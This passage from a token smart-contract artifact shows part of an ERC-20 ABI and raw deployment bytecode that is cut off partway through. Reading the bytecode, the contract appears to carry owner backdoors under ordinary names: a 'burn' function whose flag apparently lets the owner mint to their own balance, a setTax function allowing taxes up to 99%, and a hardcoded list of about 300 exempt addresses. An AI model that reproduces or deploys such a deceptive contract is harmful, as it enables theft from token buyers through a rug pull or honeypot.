56","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuyTax","type":"uint8"},{"internalType":"uint8","name":"newSellTax","type":"uint8"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003805463ffff000019169055612710620000226012600a62002387565b6200003190629896806200239e565b6200003e9060196200239e565b6200004a9190620023b8565b60045560646200005d6012600a62002387565b6200006c90629896806200239e565b620000799060326200239e565b620000859190620023b8565b6005556064620000986012600a62002387565b620000a790629896806200239e565b620000b49060326200239e565b620000c09190620023b8565b600655600a80546001600160a01b0319167344889b52b71e60de6ed7de82e2939fcc52fb2b4e179055348015620000f5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001446012600a62002387565b6200015390629896806200239e565b60015f620001685f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f2055620001935f546001600160a01b031690565b600980546001600160a01b0319166001600160a01b0392909216919091179055305f908152600b602081905260408220805460ff1916600190811790915591620001e45f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805460ff19169415159490941790935580516125808101825273c3b730a0baa4ccb70bb57a5f9543ef44637047aa8152732f299d8ee18822f7b710fda909f42a0cf9196f5592810192909252734a2cc22bfca5aa5dd814559f6a2b564340081d0990820152738efe612bdd09c5e2c105540a8e51a8ec3910900d606082015273444f8796db7d9517c0d5c3c423f16f36a44a62976080820152731378a2eac8d23cf7f791709f239d7c252cb7bf4f60a082015273222feb7fe813db786eb6e298b30b2c5a73db8e2b60c08201527385480f1927ae46137cec67af3f6fa399e695072b60e082015273f7b4d19178ba3a02886f7c99962bf1ac8d4a8337610100820152738be34910a857003c949885fbc78e78cf24861ec561012082015273e82867ed09e89d2bc1b01b4fd3966355536864e96101408201527355747c01b9ed15d675cf083d73979ce99a6b07a561016082015273ed3b46aa60c944437b3e59bada120af8c1da10e561018082015273b7326b529a4ca4cfb0092783461084ddca6a7df26101a082015273f432befca7ec9a0c9f92b372689fcad2f6b5042c6101c0820152733c324d9655b63c61ac6465faa64bbf5d8364095b6101e0820152732f9248aa23737f7ccc79ff3f0e77990d23cb482e6102008201527392995908ba1d1fb162e38af5b378aae6b0731a6d61022082015273acf68aab20f811a6ddac15bd252b40ddafad921c61024082015273b469f5a660aa94ae3ea8009068a274549cfc1bff610260820152733447e5efb15aa219e6166644a4849ee4f315587461028082015273243cdeaa3629eb69fa74a7663475526ba1e465eb6102a082015273e7dbd1b2e247a15871f2dffa86fd25d727a976d76102c08201527385f02b89dbbc7a90e4f5d6367ede721ab8ab38b56102e0820152731d7d8302920528236bf723d6c53b3ebbc1fa82b56103008201527388d33d113150d77cdafe842ace982de53c4f2f44610320820152737d415f816f3c6d74f5054689e5b260108059cc006103408201527331d3c345e967087925d99de0e8b93876ffa995716103608201527396eca86a8e1e1995d55db12b811b46ff107c936e610380820152736b864ae0ee40a4707b98c697bad105d2ca3d6ff16103a082015273a70cbb4216607faf4ade6254c67f37a3d2a7f2ed6103c082015273c1db85ef23f2cecf7d30f6ec0c53fc39ed7bb9c76103e082015273b178970b16a3ae08426cd3b33f0f79ac3b48acb761040082015273a6ec0bfca8e2a7dc8bf86976050609c7cd1f4ba16104208201527312919e83773d399034f9c98a7fe20db3c49088ed61044082015273b022fc3ea08cea85b9e19b512bee542758252c2d61046082015273b094cf271f6cc89adefbdc891b3421d8239a990c6104808201527395d2f2aad3a1065de66d5988789544dda2d5a6a36104a082015273211ec51212848998303eaf9654a8a4da84ffdefa6104c082015273583959526ccccc38917c32a0fa8ca1268a51d2576104e082015273a53b0f48377552817040e5aeec3ff59e1248f7bb61050082015273c856214517190a6b11e3766ca8d51a5c07ef33396105208201527371e5d1036c7c4db743325c1192506a374c4594bd61054082015273a044f4e4c27061446a3351b21619feb453421e6861056082015273c9d018fc4373b52948ba2d413bc5176a567e680361058082015273abc2200b8e52669eec5b83ead6c402e15ef6d3676105a0820152738f0dada48a5e94e972aa61da6a82d1e5b6e897236105c08201527373e4450e13eb467a1540d02df390d6fb818711ae6105e082015273064438288254960ab05699058d75794b81c3da3e610600820152737f3f46d8d1f34ddaa909adbee420150caa54cf63610620820152739375da9cfbfa9af236ffe711087ebcecbd13ebf96106408201527316c70622bcca6e8c744d80f163b4e9d8bba822c6610660820152731b306fd899f6415dc9cd4a2ba7e2701dcae7ac1a61068082015273ebfa61dae0716b169420681cf90d6b1194edce5f6106a0820152737a7322a5a6d1a2e4037236428fb5df1af6b6d89b6106c082015273ee7dcc8edd3cef130f9b24c947c57b0c977db2a76106e082015273b2dfd01906aafb681bcfbfe9a6c815a1c60012ab6107008201527378a901e985f6843f9a2f96f1b157163a88daee72610720820152737b22738462e7e65d46aff8c29271c1170e1694ef61074082015273601e177aa1f2229b3f0ad794093ae578fc5559b461076082015273e9764f9c26a6125dac0458f7431c9aa503f886e861078082015273f4f18e2baae110e07cadb5be60afd77ff2ca36916107a0820152737f2015c13e84e8b67bfcee18859ec1676e23c6826107c082015273b12b19a8cba311e2eb375d79faa49d8ad32195256107e082015273ded241b8608e15316ffb6e22997d05e96bc097916108008201527389d4ab38fba47f1c999dd954ed735a775b50c6df6108208201527351b5fcf069d5be9477c5cc5ec8b5959e51c961b161084082015273ffb5d9ca40aefde1a0bfb5b647ce1e539424a6b36108608201527334230e614ac4c27b28ada327ecc039f1ffc466466108808201527322d40d16fafe138e1e6404fed84d774cba9c3e946108a08201527318a5852fbf0ac19687e0ca03953ca03b291783a16108c082015273e49dfc27ca3b149624bd2887b936fc65af22c7216108e08201527326d5b2b06b0e9a195f08643b000e4dd66da9e48061090082015273eb41cdff48b55ada7c20cd3a43b9cb70e2f92b91610920820152730f506097e51118a9a9af17c51cb84558469e31336109408201527376c74630d530fac0782a5154baafae3c60c2efd8610960820152730f398ec551603331261b9470e21cf15cca04a94a61098082015273e39053eb08fc50b8cbb62e51242d7b43511ef0b26109a0820152732a15ef22ed87f988676cebc01bf4f546fbf66ffd6109c082015273ad5fb3eb23e8317c01e8ce0df7c8823227573ceb6109e08201527383abab2e63b12d8a8e74f9775ff9f2bf1eee9afb610a00820152731f861a6542e47b1820bf537273085f39216ffc0e610a2082015273f1ea72a294698074de141db9ebf8e295bf3cd182610a40820152739b5c0f625a4854f4facf5be84dd903adccc2d313610a6082015273e67e9d19db3122ab9622c12b0c03d7338f75f836610a80820152735f8f5d5f2d3c58f6f84ef51de191ac0d690a45f3610aa08201527399f24e4daa7eba64e640850bfcaeb16b0658b4cf610ac082015273237fcff288492fe2943046d558c516b64b89850f610ae082015273a86012d03198067c7ad316a9dd66557b37964bd6610b008201527314815c202e4ac2b19213973014d3370cb7321e37610b20820152736f03a246ab308db69b56707af96ed87f914f076b610b4082015273f830c9416e34098876e5c23e125ca97636a070db610b6082015273aa8ff5fd425ab0f8b4eb82dc2d0fa11c3ddd3056610b8082015273a92bb77a5b20041858beb083ee580743f67ecc28610ba082015273f4605b6106caeb8bfb0c8ca4812fb1ef2c85bb55610bc08201527367d6e4179bb51795cfd8209c364c22affa74c743610be082015273178ebdb8531e4a68c087dd8a65f69b3cb900f0a0610c00820152737aa60058e9cd99f4649a77579765c9b9501fc7a9610c20820152736d7905ea994228045a2b032b6cc6d203ae5b94dd610c408201527392567526db9158daec6be36377cc14e90579693d610c6082015273790cb234c62fc16cef8ffbf47167b01b7619d365610c80820152733b0707c03f02cfd7afc1ddcf03e23a33bacf3e6b610ca0820152733ac4d63e974af0be074e064ae4e81694b17345c5610cc082015273352f96ab69d49119012c93a723dd5f7401a415a5610ce082015273a1df7fd4fbe54b2babb12e086474291d74157b4f610d0082015273801315ce246d94ea876a19065b417ed09758154c610d2082015273ba1766b6e126026cafe6eb044a363c71911e3e94610d40820152733a7135022d49190b658725de8b9ec591d9d76511610d608201527360a74434396afaae8be28f5107a8f10f80cd6b82610d8082015273931d9deb6d009e9d0197c1bde991dc4cf79bec19610da082015273191b57b9db5bfc82fd4e5d61592bb1b952c61454610dc08201527372c8ed6c2ace95569dd2bfe88d3108fd8a4dc84b610de0820152730b0c763a1bb57c05172c313a5e42fdbc0e1134c6610e0082015273e83134d3e92e46a86898fa8d1c3666b05051f37d610e20820152733aa1df65522cf45e7060407acbee2db952626829610e4082015273ed0a4bea5ca63848dd01e36a613d360e58393e45610e6082015273d91331287bcb6e5774c8c68f367579b19c124f56610e80820152737f739f076015e9fa474d31c0af8f45ec99cd8ba3610ea082015273331b3be1b1fe93bd9708b74b47240ec9bfbeb1c3610ec0820152732584cbc75d3c3b9b7f65dbbcac9809e79cc697b5610ee08201527339484730ee3231d74aaf38455a715f7d44903081610f0082015273dd6aff2635a5441f18656fb69eee9a7f2c9c1ef0610f20820152737f428b54b389c8f16d8848e5cbc90a743af00b87610f40820152735f69d8c868db5462aa5730d24672bb98c7bd112f610f608201527311618527acf82b8fa99b5299052216207d2e6f34610f808201527301f8aae60bedd43e1f40535a53fe151a8fb4bbbe610fa0820152737d7addc8b4d23d0e47f7b64e579df52d55690033610fc082015273c49b50d2ed23cadba90a092bbb248bb53a08806d610fe0820152733a9c1c6faa592e0359852644ff9b957a70983df9611000820152734e2593ea7f9f55b7287a770eb008c197347c74ae61102082015273a8e237dcfb400375735bc017d49bf027e4527d1a611040820152738c2e386daef482cebff5c5a16ca2395bea2f6a2b61106082015273d5b17a375d8570e37976f30f02355dcc000ead9861108082015273a4a0a2e9f5c901c607c3c2563acf4ea77edd0f516110a0820152735a298b38eb1d9faba0b4a4a7eb652abe3b65febf6110c08201527366c0e05cfa6cbd799a27d1c6531fd33a5ee167226110e082015273cdf3a33e9a856660159497fb3d7ea2aa96d4b9f16111008201527349e9af2e86e37330df3d2f9089259d23dca37a7c611120820152735d22c36ff9e4917f791e6f2fae24dc5248a3fab96111408201527383cc41c7ac7dc19fe7ee8b83192fb6d920ff9b59611160820152731d89f091e69413d8bc6431f4fd11b452cce8f2d96111808201527323fe903eaae2a53ff41b9e02e6a24ad8156a96926111a0820152735dd609c26edb0e20726440242797b5884a8fa4b96111c0820152738390936b7fd4089945ea2f4867b01e844a2e60306111e082015273c48d72e6064f5ff396b08f396f5decb4bb5b99566112008201527359fce85d047186ed8c63f1899db9b76d87896a0161122082015273ae3342bad5c74d81c36fc6e647e1837ee204a36e61124082015273eb7cd2043839fb750901e69d0ab163f725f31d65611260820152732eac2f88e467a9487bce6ef0ebb5327703587918611280820152739cbdbc7cf2a1ac24d33a57a759e5ac2f907097936112a082015273e252ba4d197b28aa6358c0f5bb2e686e418d3e996112c082015273c0b88d822da6aec69f889f608f4f3017698f3adb6112e082015273ff34ed50ca01c9761e8f7279c67ecf19ee89c75b611300820152732cd7910398e5a61f4a9848fb91f274dfc756b14a6113208201527363b941118168de1e2f53bbf717c2dcf518387db761134082015273e9dadf82d87b633dcd2f17bf0a514515b1e5695161136082015273a3acef46a5c8e654d7a3ddd950fbfaf285e0cb36611380820152733f23848ca0a1d6b1a5dbc746f77c255cb62445bb6113a082015273da9fbbb228f887d8164a2e9f872b038ad24a3e7d6113c082015273a546259f19b72677b8983b431692a55188adb2d76113e082015273854578908bee7b5d9b5b2061bc28e45f46c153c46114008201527343256fb5e409887be87f58f21ec45bfd6307af4961142082015273a3a687a6691fe627d6267039d16ceaa08191dc6161144082015273ef9de546b2b466be78364ddb435fd2c6dd36289e61146082015273b0ed6ed56ec3d7f03c13bb27a14d6bd7d8a664f561148082015273200d588f9a0f3ed95f0df0ddf0ac61277eb0e4906114a082015273507b5b6efb6bc0180ab71beefbbce16215d76b426114c082015273ceddca08e2ddd63b13284804b045a5b4edb00e5d6114e08201527328032127164f8923030aed54f9d8ee650b7f12ce61150082015273586ba0c9129c5017acd74f67e47323b71ad06ddf611520820152731d8eac0e9dc2e30fd5537f3c3172cf82cec7a18b611540820152737f47940478dacf1ec823cd5fc6ae86119301a4e8611560820152739c4fbc5473beac62e0931660bd9d06a474c99b6461158082015273be104a9d17d5cc88c676617e84180a9b481062b56115a08201527346da6548589475b41fedbff5e03d5813c03627e56115c082015273a46906ffd8b3f3a106dc4f861fdbda475c7025676115e082015273e29c2463f2f6b445300bbd8870312bec40b028df61160082015273c966672213d7de3d94781b978c8099722d30830a611620820152738723b1b2a2b25c5862d38972601b9ba1a353535d611640820152731dce52e75f0a6a11d6bcec30fb261179706916ff611660820152734563614e6ffe8a9215c51d8ad77ff1be6346084761168082015273e3efcbede42ab1a8f60cdad94c5795f786a2cc6b6116a082015273d13ee60e988c7fa37f4ee5fd5e9bd25f0d07e9266116c0820152732caf429d169146de0c75db63cfb4b2ad6e6588c66116e08201527399a76d4de564e2b622b397714522fe88d1e7d65461170082015273aeab2d952f0cd9a12cc65a8a5b198561e4a17bf161172082015273231b1ca937d869c7e8b89632025db765b5471c8c61174082015273063dad72837db3444ac9b44854c5cfa130605cab61176082015273043d6bedd4caa0f47ddc6a6478f141beeca60465611780820152739fc1e222007a2641793a00ae777fc8b4713a43626117a0820152733cc83cc608795746a256b735e00b87d49d9e95446117c082015273d935cf0815cf6580f106457921590bca060917e86117e082015273bb7c0bcfaf6775a8dcb1b3a1fa7739b622fc7298611800820152739d0ab672aa04681a564d426cfad1556325a00bd8611820820152735be3fc2668ff8311e6367a797be88fbfee8cb52561184082015273ac7a3c4bbc3114c490aa9553f432e83d01b51aad61186082015273bef2db45c82fa9dd384fa5db144a9817fc65379261188082015273a37956aac15e46f087e84b26c980206b386bfe9c6118a082015273a5f0a4b1dbb6769d9a7db44c7b43fcfbb5c5594a6118c082015273516af6ce849aa1fe744bd6439cf461e9cc9f23006118e082015273224bbb153f384e457700441b0f710f9856d0e60561190082015273bdbaf475cbb99dba33083e37b8454c8477791a346119208201527376fa57714cf40597e57a4dbf16ae3e859da8f11561194082015273ac857d4b3f65371dd3cbad4b000cb836b41c714a61196082015273aea7974689fcc0f5bcc8dd3264a1307c8068d7d361198082015273c3eda8c75df435a562d3f990821f11b8a65e524b6119a082015273fa98565909e26981e8f677a0291b0fdc84819ad56119c0820152730168250a7d8fee0cee681ace95d31491614a99b26119e0820152735fbf3e6579652596b09b2d5e66b1fdf5bc24bfad611a00820152734f9453aad0dff0a12727ca58dcc26baed5832cc0611a2082015273d0aceb7c72608e439bc70f5580df168ee5280c5f611a4082015273301af2b0a6cdbaa50802e58d3e05f70fbb0dcae1611a6082015273b11e9fbc521657e8a61f4bc7527ca0965de8ffca611a8082015273d69bcc37347898da9134fc8837b6a4269e3c079f611aa08201527346ec7e23ba23cb718401bdfc6042ebac43000408611ac08201527377b2c5c1898a716a831f65f12db35fa847b2b04d611ae082015273fc73a01809f54b60de708eadd63260d09c3f7073611b0082015273f208740e97c2cad2262bdcf61a754d653c745eb8611b208201527380243995bdfccb9c92023020bb637c29e82b3ecd611b4082015273e0cbed833ed73cb5b23873bb63b5c358815a7430611b60820152731e65e35731401fe43fe6289c6b9f0a685b31a424611b8082015273c695022870d3c0af103771c90cfc3e24245dca65611ba082015273464b1fe1e8641de4852a8d146f1ccc228fe4ea70611bc082015273f0e407f4fabecb7796d8582b94f08c8df69eadb4611be0820152732002890c132f0709f17ad65ad33b5de6d6d96214611c0082015273fd1158065ed3b1f32e2a3215b08310fd56f12091611c20820152732608e01d27a6052f8bccfe63af0f3895998ca526611c408201527304d97a41d7eab3d2026e84a7324df708f0882be0611c6082015273a012cc0247439225a038c9ed722a3843de2be6af611c8082015273ef8db8800a21a099d2baea47b21cc600ee03a928611ca082015273842aa069add498272bb21b6fb6b31376b15466f9611cc0820152736fd87f445110f4befb9a980fe4c1102fffac6f88611ce082015273aaef4a9506f715f640fa9735e4db845c14c1d125611d00820152734ba4e65b4c973fbd6ebda1cfb58f92ff6cac11f8611d2082015273382df541b1f15e61cc88859f598333a27dfe7025611d408201527341bc4e8ead4bc950435015cdaeb77710bbdf76ed611d60820152734b2bd40246007280918f04f480d2fffe02291004611d808201527317cf232c93fbac72fe36a0703b0a08c520173c49611da08201527368c41f09a5f8cbafbe7415023a10d88390ff900e611dc082015273acb9bf6eb821961180ca884ee6ebb2276190e88f611de082015273b98edd275e93edc5e773e025f1af5a98dbd1742a611e00820152737bfc06749a1dffef4a96d351d91ff498cf295837611e2082015273d04edbc62829cd8f8ebdc3850b6eaa55ab7c1987611e40820152738706ab27b5d684ec15e714102cdb8f8ce734d7b3611e60820152734065531ca27f0d8d10693f1f8d96368294a9a1c9611e8082015273b4e3a163d092cff89e8e0282d0b084207cba3a7b611ea08201527328a15ed1ada308eb5ff857fafb8260ee3c225751611ec082015273144478f3681bb63cfc97dfeabcca46c43109ee96611ee082015273e5f639983ab05800f75378448ed57c2d86eebfcb611f0082015273e748d9e257124cc0bb5e052d0e2336fe9c939426611f208201527328d9fb84e2ec5a5264e7b33202ff3fe219f1b815611f4082015273773efee48d772272fac4e3bf101de55cc2f71bee611f608201527302cfabd65087d1acda8f700e3ba985f7d535f1ae611f8082015273896d170bab259da85d0774a254a06db66350ae08611fa0820152730453320f6c2d9c5ce82f36b95156e5bd9872fe44611fc082015273eefbbaed6c666203777b16521d688ffe91738521611fe082015273d5191822f3df964db88c9a1f32bc5b35386e23dd61200082015273296878b4f4dd867de76efac94e21c4fd0a91841b61202082015273aef9cc6fb8469fc3b3604a79dcaca93e945025996120408201527309621b1d9386d47966f5e36de311c3d300f42abf61206082015273052258c67d8737d6076b329e1e9eeda45d9745136120808201527366ffe393c1a896dc5fcf2f4d2fa80c996201099c6120a082015273aed8f2e45fa993ae15981b234bb30b0662bf27056120c0820152734fc335dd4462e7af94e830a0c033f38fae4ead286120e082015273dc27e083f5fdda367d8305a4c10f1f12522c25ce612100820152737c7aa410fae74a8215a64ebce2f923e59e4f3f94612120820152735132f0a0d43bd28ff69548bf844496c49cdc167b6121408201527394db9979b97d41e7932be681fc8062df8a6e4b1d6121608201527330f69d98b2bd07986dc4c5bf1fb28733c3c2705f6121808201527371ea1156149b1da15b46793c03d37545d9d544816121a08201527369cdab34d0dda8364a61809901e9d931339f770f6121c082015273c54d7d76c0936a982226aaeed0f841a1c66b64ff6121e0820152736c9e54cedf1279e161a7ad2247e0dd378b84a6f26122008201527318629d2572a5ba4a97873db5d0077f529c3db83961222082015273735fc7bec0d01e645e05de3d94b83a37c8f3558f61224082015273e5577701f54e95aef923841570fea06ecb82c2786122608201527385e5e3b812a7a098f90adc369687289c93d9d99061228082015273e50f3f2ac7d7320b23b33f212305114f78f476036122a082015273a7fb974766cd3f6ab2c0a47ca3de8d75db1f06d46122c082015273cdf411e19e02f563209db2b76a2d8412e5bcfb746122e08201527375cb475f6b42157a7d83b0b557e12e998889f8c4612300820152739fc7fb5b5afea0c4e0ae8de4a9da51c3c7683714612320820152738c1880fa3c1d1919c54c8fbe40f71acbc22417dc61234082015273f3ca64673e3fde3b2ef43a1e590b885a6c004f2f61236082015273690819405dcc5f302730059cad3631c7e179bf996123808201527331eebc2a7281e98d17af2e1d06432490fa9bfce36123a0820152737435de25170b8656df9d5ac600463c78b04f250a6123c0820152734ad1ea1c71d29acc27bdbb10d6d9b8954074804e6123e082015273abe32bca0ea8cd4ba9bae3974fb9c8c0850fbc7f61240082015273721e566072e305cc998a0f5e409208b0d67a4566612420820152733e93c3f0215989c9a11caec72aa6583c710ad35261244082015273a4f6e0360e37525f2aad71c70a1eeb11e2aba9a16124608201527389230605414a64088386e48eab0b990891a7e02e612480820152738515d7faf0f76b3caf66d205b285a4a27aac670b6124a08201527387b72d5db7b094ddaf2c276b2e2fdc1a3d4ba08f6124c082015273e2c2b03668f834e00bbeb991b4629bbabf363ef56124e08201527331cf48ae91b5831678218ab452e02839984bc867612500820152738da232ab04378079dc5b5515ccacdd869ddff387612520820152738f28dee79a7d6f1a3e7e7118dcd1062dc3b5b3c16125408201527393c6d760b799f0bfe2672349b6e208aa6390a771612560820152905b61012c81101562002214576001600b5f848461012c8110620021dc57620021dc620023d8565b602090810291909101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101620021b6565b505f80546001600160a01b0316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620022516012600a62002387565b6200226090629896806200239e565b60405190815260200160405180910390a350620023ec565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620022cc57815f1904821115620022b057620022b062002278565b80851615620022be57918102915b93841c939080029062002291565b509250929050565b5f82620022e45750600162002381565b81620022f257505f62002381565b81600181146200230b5760028114620023165762002336565b600191505062002381565b60ff8411156200232a576200232a62002278565b50506001821b62002381565b5060208310610133831016604e8410600b84101617156200235b575081810a62002381565b6200236783836200228c565b805f19048211156200237d576200237d62002278565b0290505b92915050565b5f6200239760ff841683620022d4565b9392505050565b808202811582820484141762002381576200238162002278565b5f82620023d357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b61138480620023fa5f395ff3fe6080604052600436106100fd575f3560e01c8063751039fc116100925780639fac68cb116100625780639fac68cb146102c2578063a9059cbb146102e1578063a9128ff014610300578063cc1776d31461031f578063dd62ed3e1461033f575f80fd5b8063751039fc146102465780638a8c523c1461025a5780638da5cb5b1461026e57806395d89b4114610294575f80fd5b8063313ce567116100cd578063313ce567146101bc5780634f7041a5146101dd57806370a08231146101fc578063715018a614610230575f80fd5b806306fdde0314610108578063095ea7b31461014c57806318160ddd1461017b57806323b872dd1461019d575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b5060408051808201909152600a815269054726164616f706572760b41b60208201525b6040516101439190610f94565b60405180910390f35b348015610157575f80fd5b5061016b610166366004610ff4565b610383565b6040519015158152602001610143565b348015610186575f80fd5b5061018f610399565b604051908152602001610143565b3480156101a8575f80fd5b5061016b6101b736600461101e565b6103b8565b3480156101c7575f80fd5b5060125b60405160ff9091168152602001610143565b3480156101e8575f80fd5b506003546101cb9062010000900460ff1681565b348015610207575f80fd5b5061018f61021636600461105c565b6001600160a01b03165f9081526001602052604090205490565b34801561023b575f80fd5b50610244610409565b005b348015610251575f80fd5b50610244610483565b348015610265575f80fd5b506102446104c4565b348015610279575f80fd5b505f546040516001600160a01b039091168152602001610143565b34801561029f575f80fd5b5060408051808201909152600681526554726164616f60d01b6020820152610136565b3480156102cd575f80fd5b506102446102dc366004611077565b61070c565b3480156102ec575f80fd5b5061016b6102fb366004610ff4565b61078c565b34801561030b575f80fd5b5061024461031a3660046110be565b610798565b34801561032a575f80fd5b506003546101cb906301000000900460ff1681565b34801561034a575f80fd5b5061018f6103593660046110ef565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61038f338484610845565b5060015b92915050565b5f6103a66012600a61120f565b6103b3906298968061121d565b905090565b5f6103c4848484610969565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103fe9186916103f9908690611234565b610845565b5060015b9392505050565b5f546001600160a01b0316331461043b5760405162461bcd60e51b815260040161043290611247565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ac5760405162461bcd60e51b815260040161043290611247565b6104b4610399565b6005556104bf610399565b600655565b5f546001600160a01b031633146104ed5760405162461bcd60e51b815260040161043290611247565b60035460ff16156105325760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610432565b6003805460ff19166001179055600a54600780546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610599573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105bd919061127c565b6001600160a01b031663e6a439053060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610640919061127c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610689573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ad919061127c565b600880546001600160a01b0319166001600160a01b0392909216918217905561070a5760405162461bcd60e51b815260206004820152600f60248201526e139bc81c185a5c8818dc99585d1959608a1b6044820152606401610432565b565b5f546001600160a01b031633146107355760405162461bcd60e51b815260040161043290611247565b801561076457335f9081526001602052604081208054849290610759908490611234565b909155506107889050565b335f9081526001602052604081208054849290610782908490611297565b90915550505b5050565b5f61038f338484610969565b5f546001600160a01b031633146107c15760405162461bcd60e51b815260040161043290611247565b60638260ff16111580156107d9575060638160ff1611155b6108135760405162461bcd60e51b815260206004820152600b60248201526a092dcecc2d8d2c840a8c2f60ab1b6044820152606401610432565b6003805463ffff000019166201000060ff9485160263ff00000019161763010000009290931691909102919091179055565b6001600160a01b0383166108a75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610432565b6001600160a01b0382166109085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610432565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116109a65760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610432565b60035460ff16610a02575f546001600160a01b03848116911614610a025760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610432565b6008546001600160a01b03848116911614801590610a2e57506008546001600160a01b03838116911614155b80610a5057506001600160a01b0383165f908152600b602052604090205460ff165b80610a7257506001600160a01b0382165f908152600b602052604090205460ff165b80610a845750600354610100900460ff165b15610a9957610a94838383610cf0565b505050565b6008546001600160a01b0390811690831603610bbd576001600160a01b0383165f908152600c6020526040902054610ad2906003611297565b43108015610af757506001600160a01b0383165f908152600d60205260409020548111155b610b325760405162461bcd60e51b815260206004820152600c60248201526b105b5bdd5b9d081b1a5b5a5d60a21b6044820152606401610432565b6001600160a01b0383165f908152600d602052604081208054839290610b59908490611234565b9091555050600454305f9081526001602052604090205410610bbd576003805461ff001916610100179055610baa610ba5306001600160a01b03165f9081526001602052604090205490565b610d8f565b6003805461ff0019169055610bbd610ee2565b6008546001600160a01b038481169116148015610be85750600a546001600160a01b03838116911614155b15610cc957600554811115610c315760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610432565b60065481610c53846001600160a01b03165f9081526001602052604090205490565b610c5d9190611297565b1115610ca15760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b6044820152606401610432565b6001600160a01b0382165f908152600c60209081526040808320439055600d90915290208190555b600854610ce790849083906001600160a01b03868116911614610f21565b9050610a948383835b6001600160a01b0383165f9081526001602052604081208054839290610d17908490611234565b90915550506001600160a01b0382165f9081526001602052604081208054839290610d43908490611297565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161095c91815260200190565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610dc257610dc26112aa565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e19573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e3d919061127c565b81600181518110610e5057610e506112aa565b6001600160a01b039283166020918202929092010152600754610e769130911684610845565b60075460095460405163791ac94760e01b81526001600160a01b